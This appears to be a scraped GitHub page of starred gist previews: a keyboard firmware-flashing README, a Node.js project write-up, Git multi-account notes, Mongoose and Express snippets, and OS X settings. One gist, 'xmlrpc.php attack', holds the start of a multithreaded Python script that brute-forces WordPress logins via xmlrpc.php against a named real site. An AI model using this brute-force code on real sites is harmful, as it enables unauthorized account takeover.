Skip to content

Instantly share code, notes, and snippets.

View wuwb's full-sized avatar
🏠
Working from home

Wu Wenbin wuwb

🏠
Working from home
View GitHub Profile
@atx
atx / README.md
Last active August 18, 2024 05:27 — forked from anonymous/README.md
Script for KBT Pure Pro firmware flashing

kbtflash

Some time ago, I reversed the protocol used by KBT Pure Pro for flashing its firmware in a hope of being able to flash a custom firmware (or do some BadUSB demonstration). This script is able to upload a firmware binary onto the keyboard.

The binary is obfuscated (already solved on SE) However, the firmware has a 32-bit checksum (at the end of the image), which does not seem to be any of the commonly used ones (there is this) (EDIT: Actually turned out to be a standard one, see edit below). If the uploaded firmware checksum does not match, the keyboard stays in the bootloader.

@kejun
kejun / gist:3f4851c7f3b3e209fcbb
Last active September 2, 2024 03:58
最近一次项目的总结

mathclub是最近做的一个个人项目,帮助考SAT的同学通过在线做题、回顾、问答提高成绩。用户功能有:计次/计时做题、成绩单、错题分布、错题回顾、提问、汇总以及注册登录。管理后台主要是题库管理、学员管理、成绩单管理、问题回复。怎么看都像学校里的课设,的确项目本身并不出奇,开发上选用的一些方案或许更有意思。

整个项目一个人从产品需求、原型设计、前后端开发到部署历时2周左右。可以从截图上感受一下:

image

技术选型上服务端是Node.js,应用框架选了老牌的Express(4.x变化挺大不少中间件都废了),数据服务用的是MongoLab(MongoDB的云服务平台),图片上传用的是又拍云,程序部署在Nodejitsu上。模板引擎没选主流的Jade或ejs,而是用Express React Views它实现了在服务端渲染React组件。前端框架是用React,这次有意想追求前后端全部组件化的组织。之前是用Webpack实现CommonJS模块打包,这次用Browserify配置更简单,它有丰富的transform很赞,其中的reactify转换React的JSX很完美。CSS用Sass+autoprefixer让人省心。将这一切串起来的自动构建工具是Gulp。我其实崇尚用最精简的工具组合开发,上述组合在我看来比较精简了。(帖纸留念)

![image](http://satexam.b0.upaiyu

@sipcer
sipcer / gist:cf2b4e56fe28835c3ceb
Created August 1, 2014 07:29
xmlrpc.php attack
import futures
import requests
from Queue import Queue
XML_URL = "http://www.freebuf.com/xmlrpc.php"
USER_FILE = "username.txt"
PASS_FILE = "password.txt"
THREAD_NUM = 20
data = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>"""
@iwillwen
iwillwen / co.js
Last active November 24, 2016 10:15
A simple version of co
/**
* A simple co
* @param {Function} fn Generator Function
* @return {Function} callback
*/
function co(fn) {
return function(done) {
done = done || function() {};
var gen = fn();
@suziewong
suziewong / git.md
Last active February 19, 2023 05:38
Git的多账号如何处理? 1.同一台电脑多个git(不同网站的)账号 2.同一台电脑多个git(同一个网站的比如github的)多个账号

1.同一台电脑可以有2个git账号(不同网站的)

首先不同网站,当然可以使用同一个邮箱,比如我的github,gitlab,bitbucket的账号都是monkeysuzie[at]gmail.com 这时候不用担心密钥的问题,因为这些网站push pull 认证的唯一性的是邮箱 比如我的windows 上 2个账号一个gitlab 一个github (用的都是id_rsa)

host github
  hostname github.com
  Port 22

host gitlab.zjut.com

@aheckmann
aheckmann / v3-p1-save-comment.js
Created June 20, 2012 20:04
v3-p1-save-comment
Post.findById(postId, function (err, post) {
// handle errors ..
post.comments.push({ body: someText, user: userId });
post.save(callback);
})
@aheckmann
aheckmann / v3-comment-schema.js
Created June 20, 2012 20:03
v3-comment-schema
var commentSchema = new Schema({
body: String
, user: Schema.ObjectId
, created: { type: Date, default: Date.now }
});
var postSchema = new Schema({ comments: [commentSchema] });
var Post = mongoose.model('Post', postSchema);
@saetia
saetia / gist:1623487
Last active July 16, 2024 05:56
Clean Install – OS X 10.11 El Capitan

OS X Preferences


most of these require logout/restart to take effect

# Enable character repeat on keydown
defaults write -g ApplePressAndHoldEnabled -bool false

# Set a shorter Delay until key repeat
@madhums
madhums / app.js
Created August 3, 2011 20:20
Express settings for node.js
var express = require('express');
var app = express.createServer();
require('./settings').boot(app);
app.dynamicHelpers({
base: function(){
// return the app's mount-point
// so that urls can adjust. For example
// if you run this example /post/add works
@fwielstra
fwielstra / api.js
Created June 14, 2011 14:46
An example NodeJS / Mongoose / Express application based on their respective tutorials
/* The API controller
Exports 3 methods:
* post - Creates a new thread
* list - Returns a list of threads
* show - Displays a thread and its posts
*/
var Thread = require('../models/thread.js');
var Post = require('../models/post.js');